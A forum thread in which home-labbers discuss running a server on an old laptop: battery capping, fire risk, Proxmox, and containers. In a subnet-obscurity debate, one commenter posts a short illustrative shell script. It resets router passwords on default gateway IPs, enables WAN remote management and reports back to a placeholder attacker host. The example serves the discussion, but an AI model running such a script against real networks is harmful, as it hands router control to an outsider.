A huge upshot to using a laptop is you have a built-in UPS and KVM.

  • Pika@sh.itjust.worksEnglish
    18·
    14 days ago

    it only works as a UPS if you periodically discharge the battery. My first “server” was a compaq laptop, I had used it for years and then reprovisioned it to Ubuntu Server, after 2 or 3 years of 24/7 if you unplugged it at all it just instant died because keeping it 100% charged all the time killed the battery.

      • irmadlad@lemmy.worldEnglish
        6·
        13 days ago

        I’m not sure that all laptops support capping, and I’m not sure if Panasonic ToughBook supports the drivers necessary to cap. I guess you could deploy TLP and check sudo tlp-stat -b

        • hexagonwin@lemmy.todayEnglish
          2·
          13 days ago

          it’s not a toughbook and idk how to configure it but my letsnote cf-rz6 came with the battery charge capped at 80%, maybe it can be configured with their windows tool (or the acpi call made by that tool). i already have linux on it so can’t check tho…

    • early_riser@lemmy.worldOPEnglish
      6·
      13 days ago

      Naively I assumed that anything in the last decade or so with a battery already has some sort of battery management system that regulates this stuff to help prolong battery lifespan, but maybe I’m wrong.

      • Pika@sh.itjust.worksEnglish
        3·
        13 days ago

        Yea, which is a fair expectation, but it’s not a safe assumption. Verify it does before prolonged use. Make sure its well ventilated(heat is killer to batteries as well), and that some form of BMS is present on the system, and that it’s enabled because some have the system but have it disabled by default.

    • Darkenfolk@sh.itjust.worksEnglish
      16·
      13 days ago

      …is what Theytm wants you to believe.

      Trust no one, always wear your tinfoil hat and don’t take vaccines.

      ~this message was sponsored by the darwin awards committee and the illuminati~

      • irmadlad@lemmy.worldEnglish
        2·
        13 days ago

        Trust no one, always wear your tinfoil hat and don’t take vaccines.

        I’d say ‘Never Trust/Always Verify’, however I wouldn’t say that was tinfoil hat territory. More just common sense. As far as never getting vaccines, all one has to do is go to Reddit and look up the ‘Herman Cain Award’ subredit to read about people who didn’t get vaccines because DumbFuck Donny told them there was nothing to worry about. We are almost to the point of a measles pandemic in the US now and COVID rages on in it’s new form of Cicada.

        • Darkenfolk@sh.itjust.worksEnglish
          2·
          13 days ago

          It’s all about exaggerated escalation to make it clear that im joking.

          _this message was sponsored by the darwin awards committee

          And this part also carries some weight towards the joking part

          • irmadlad@lemmy.worldEnglish
            3·
            13 days ago

            Sorry, COVID is a sore spot for me. My lady friend was a nurse of 40 years who’s career was cut short by it. She now has long COVID, and will for the rest of her life. Not because we thought COVID was bullshit, but because 70 million other dumfuck rednecks thought it was.

    • MehBlah@lemmy.worldEnglish
      7·
      13 days ago

      If it isn’t 192.168.1.0/24 then you should blur it. Mine is completely random and I keep it to myself.

        • cravl@slrpnk.netEnglish
          11·
          7 days ago

          Using a random non-default subnet increases security (slightly, and only through obscurity) by making it harder for a compromised device to perform automated attacks against, most often, your router. Typically they’re pretty simple scripts that just try to hit default ports on default IPs.

          • Possibly linux@lemmy.zipEnglish
            2·
            7 days ago

            That’s not how networking works

            If someone is on the inside of your network you have much bigger issues. Having a random subnet won’t do anything as they can just look at the arp/ndp tables.

            • cravl@slrpnk.netEnglish
              11·
              6 days ago

              That’s what I said though, it only protects you from the very most basic of mindless scripts. Obviously ARP/NDP makes it pointless for anything more complicated than…

              newpass="$(curl "https://bad.guy/get_pass_for_pub_ip")"
for a in '192.168.1.1' '192.168.0.1' '10.0.0.1'; do
    curl -q "http://${a}/reset_password.cgi?&password=password&new_password=${newpass}" 2>/dev/null && \
    curl -q "http://${a}/remote_management.cgi?&password=${newpass}&wan_enable=1" && \
    curl -q "https://bad.guy/success?addr=%24%7Ba%7D"
done

              …completely pointless. If it’s a someone inside your network, you need more.

                • cravl@slrpnk.netEnglish
                  1·
                  5 days ago

                  No worries. It is technically another layer in the “swiss cheese” model, but it certainly is more holes than cheese. I think it falls into the “can’t hurt, might help” category.

  • irmadlad@lemmy.worldEnglish
    11·
    14 days ago

    I had one active a good while back. To quote Buddy Guy ‘…ain’t nuthin’ wrong with that.’ Hell, I have a 15 year old, self build computer. I use it daily. It works, and pretty well too.

    If you haven’t already, I’d see if you can run it sans battery, just power cord. Reason being, old laptop batteries can be a hazard. They can swell and burst, they can over heat,. In some cases, they can become a fire hazard. Best to be safe.

    If you’ve already done so, then awesome , and ignore the second paragraph. Is this your first foray into selfhosting?

  • Nate Cox@programming.devEnglish
    9·
    13 days ago

    I use a 2015 MacBook pro. The screen was busted so I removed it and disabled the lid switch. Works great.

    Downside to laptop as your homelab: got that spicy pillow now permanently plugged in. Maybe consider pulling out the battery.

    • early_riser@lemmy.worldOPEnglish
      3·
      13 days ago

      I also have a 2015 MBP lying fallow in my closet. Do you have any suggestions for turning it into a server? Are you using MacOS still or have you installed something else?

      • Nate Cox@programming.devEnglish
        1·
        13 days ago

        I wiped macos and installed proxmox on it. The wireless didn’t work well, but I had a dock laying around with a cat5 plug that worked just fine. Has been going strong for a few months now.

  • esc@piefed.socialEnglish
    7·
    13 days ago

    This is the way to do it in my opinion. There is always an old computer laying somewhere in your house.

  • early_riser@lemmy.worldOPEnglish
    61·
    14 days ago

    If you’re curious what I’m running on here, it’s mostly containers plus one VM for Docker. (I’ve made my dislike for Docker as a distribution platform known elsewhere on here and this is why).

    Most are various wikis that I’m testing, MediaWiki, Bookstack, DokuWiki, PmWiki, An Otter Wiki, DocMost.

    • early_riser@lemmy.worldOPEnglish
      1·
      14 days ago

      CF-53

      I bought it used from Amazon about 5 years ago, so it hasn’t been in my possession the whole time. It was likely used enterprise/industrial stock. Judging by how one of the modifier keys is stuck it was well-used. The seller replaced the original hard drive with an SSD and the battery may have been replaced as well.

      Prior to becoming my home lab it was my ham shack computer running win 10.

  • Decronym@lemmy.decronym.xyzBEnglish
    13·
    5 days ago

    Acronyms, initialisms, abbreviations, contractions, and other phrases which expand to something larger, that I’ve seen in this thread:

    Fewer Letters More Letters
    ARP Address Resolution Protocol, translates IPs to MAC addresses
    CF CloudFlare
    IP Internet Protocol
    PSU Power Supply Unit
    SSD Solid State Drive mass storage

    5 acronyms in this thread; the most compressed thread commented on today has 7 acronyms.

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